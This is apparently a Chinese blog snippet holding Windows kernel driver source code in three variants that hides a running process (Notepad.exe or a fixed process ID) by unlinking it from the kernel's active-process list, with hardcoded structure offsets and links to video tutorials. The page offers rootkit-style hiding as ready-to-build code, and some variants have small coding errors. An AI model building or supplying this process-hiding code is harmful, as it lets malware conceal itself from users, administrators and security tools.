断链隐藏进程写法一12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667#include <ntifs.h>NTKERNELAPI CHAR* PsGetProcessImageFileName(PEPROCESS Process);////传入进程名字通过遍历进程得到PEPROCESSPEPROCESS GetProcessObjectByName(char* name){ if (!name)return NULL; SIZE_T temp; for (temp = 100; temp < 10000; temp += 4) { NTSTATUS status; PEPROCESS ep; status = PsLookupProcessByProcessId((HANDLE)temp, &ep); if (NT_SUCCESS(status)) { char* pn = PsGetProcessImageFileName(ep); if (_stricmp(pn, name) == 0) return ep; } } return NULL;}// 传入PLIST_ENTRY隐藏进程VOID HidePProcessByList(PLIST_ENTRY ListEntry){ if (!ListEntry)return; KIRQL OldIrql; OldIrql = KeRaiseIrqlToDpcLevel(); if (ListEntry->Flink != ListEntry && ListEntry->Blink != ListEntry && ListEntry->Blink->Flink == ListEntry && ListEntry->Flink->Blink == ListEntry) { ListEntry->Flink->Blink = ListEntry->Blink; ListEntry->Blink->Flink = ListEntry->Flink; ListEntry->Flink = ListEntry; ListEntry->Blink = ListEntry; } KeLowerIrql(OldIrql);}#define PROCESS_ACTIVE_PROCESS_LINKS_OFFSET 0x448// 传入进程名隐藏进程void HideProcess(char* name){ if (!name)return; PEPROCESS PRoc = NULL; PRoc = GetProcessObjectByName(name); // 摘除结构中的C32Asm.exe实现驱动隐藏 HidePProcessByList((PLIST_ENTRY)((ULONG64)PRoc + PROCESS_ACTIVE_PROCESS_LINKS_OFFSET));}static VOID UnDriver(PDRIVER_OBJECT pDriverObj){ DbgPrint("[-] 驱动卸载 \n");}NTSTATUS DriverEntry(IN PDRIVER_OBJECT Driver, PUNICODE_STRING RegistryPath){ DbgPrint("Hello \n"); HideProcess("Notepad.exe"); Driver->DriverUnload = UnDriver; return STATUS_SUCCESS;} 断链隐藏进程写法二三1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768#include <ntifs.h>#ifdef DBG#define Log(x, ...) DbgPrintEx(0, 0, "qi:" x, __VA_ARGS__)#else#define Log(x, ...) DbgPrintEx(0, 0, "qi:" x, __VA_ARGS__)#endifNTSTATUS HideProcessA(ULONG ulPid);void HideProcessB(unsigned long PID);VOID DriverUnload(PDRIVER_OBJECT pDriverOBject){ Log("Driver Unload Success!");}NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegPath){ HideProcessA(0x4c0); //HideProcessB(0x4c0); pDriverObject->DriverUnload = DriverUnload; Log("Driver Load Success!"); return STATUS_SUCCESS;}//断链隐藏进程//https://www.bilibili.com/video/BV16K4y1U7e4/?spm_id_from=333.337.search-card.all.click&vd_source=5777815674b3f4e5c227299a8de61c9b//NTSTATUS HideProcessA(ULONG ulPid){ if (ulPid == 0)return STATUS_UNSUCCESSFUL; DWORD_PTR pEprocess = NULL; ULONG ulProcessID = 0; pEprocess = (DWORD_PTR)PsGetCurrentProcess(); PLIST_ENTRY pActiveProcessLinks = (LIST_ENTRY*)(pEprocess + 0x448); PLIST_ENTRY pNextLinks = pActiveProcessLinks->Flink; while (pNextLinks->Flink != pActiveProcessLinks->Flink) { pEprocess = ((DWORD_PTR)pNextLinks - 0x448); ulProcessID = *((ULONG*)(pEprocess + 0x440)); if (ulProcessID == ulPid) { pNextLinks->Blink->Flink = pNextLinks->Flink; pNextLinks->Flink->Blink = pNextLinks->Blink; } pNextLinks = pNextLinks->Flink; } return STATUS_SUCCESS;}//【内核 进程遍隐藏 20】编写驱动程序实现简单进程隐藏 进程遍历//https://www.bilibili.com/video/BV15o4y1N7xv/?spm_id_from=333.337.search-card.all.click&vd_source=5777815674b3f4e5c227299a8de61c9b//void HideProcessB(unsigned long PID){ if (PID == 0)return STATUS_UNSUCCESSFUL; PEPROCESS process; NTSTATUS status = PsLookupProcessByProcessId((HANDLE)PID, &process); if (!NT_SUCCESS(status)) return; LIST_ENTRY* entry = (LIST_ENTRY*)((LONG_PTR)process + 0x448); RemoveEntryList(entry); ObDereferenceObject(process);}